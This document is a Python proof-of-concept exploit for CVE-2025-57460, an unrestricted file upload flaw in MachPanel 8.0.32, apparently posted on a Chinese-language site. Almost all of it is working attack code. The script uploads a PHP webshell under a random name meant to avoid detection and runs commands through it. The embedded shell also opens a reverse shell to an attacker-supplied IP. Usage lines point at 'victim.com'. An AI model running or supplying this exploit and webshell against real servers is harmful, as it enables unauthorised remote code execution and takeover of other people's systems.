CVE-2025-57460 MachPanel文件上传漏洞导致远程代码执行

import requests import sys import random import string # CVE-2025-57460 PoC - MachPanel File Upload to RCE # Target: MachPanel 8.0.32 # Vulnerability: Unrestricted File Upload leading to Webshell def generate_random_string(length=8): return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def upload_webshell(target_url, webshell_content): """ Upload malicious webshell to MachPanel server """ upload_endpoint = f"{target_url}/chapi/upload" # Generate random filename to avoid detection filename = f"{generate_random_string()}.php" files = { 'file': (filename, webshell_content, 'application/x-php') } data = { 'module': 'FileManager', 'action': 'UploadFile', 'path': '/inetpub/wwwroot/' } print(f"[*] Target: {target_url}") print(f"[*] Uploading webshell as: {filename}") try: response = requests.post(upload_endpoint, files=files, data=data, timeout=30) if response.status_code == 200: # Extract uploaded file path from response uploaded_path = response.json().get('filePath', '') print(f"[+] File uploaded successfully!") print(f"[+] Webshell URL: {uploaded_path}") return uploaded_path else: print(f"[-] Upload failed with status: {response.status_code}") return None except Exception as e: print(f"[-] Error: {str(e)}") return None def execute_command(webshell_url, command): """ Execute command via uploaded webshell """ params = {'cmd': command} try: response = requests.get(webshell_url, params=params, timeout=30) return response.text except Exception as e: print(f"[-] Command execution failed: {str(e)}") return None # PHP Webshell content (basic reverse shell) webshell = """<?php if(isset($_GET['cmd'])){ $cmd = $_GET['cmd']; $output = shell_exec($cmd); echo "<pre>".$output."</pre>"; } if(isset($_GET['rev'])){ $ip = $_GET['rev']; $port = $_GET['p'] ?: 4444; $sock = fsockopen($ip, $port); exec("/bin/sh -i <&3 >&3 2>&3"); } ?>""" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-57460.py <target_url>") print("Example: python cve-2025-57460.py http://victim.com") sys.exit(1) target = sys.argv[1].rstrip('/') # Step 1: Upload webshell webshell_url = upload_webshell(target, webshell) if webshell_url: # Step 2: Verify webshell access print("[*] Testing webshell...") result = execute_command(webshell_url, "whoami") if result: print(f"[+] Webshell is working! Output: {result}") else: print("[-] Webshell verification failed")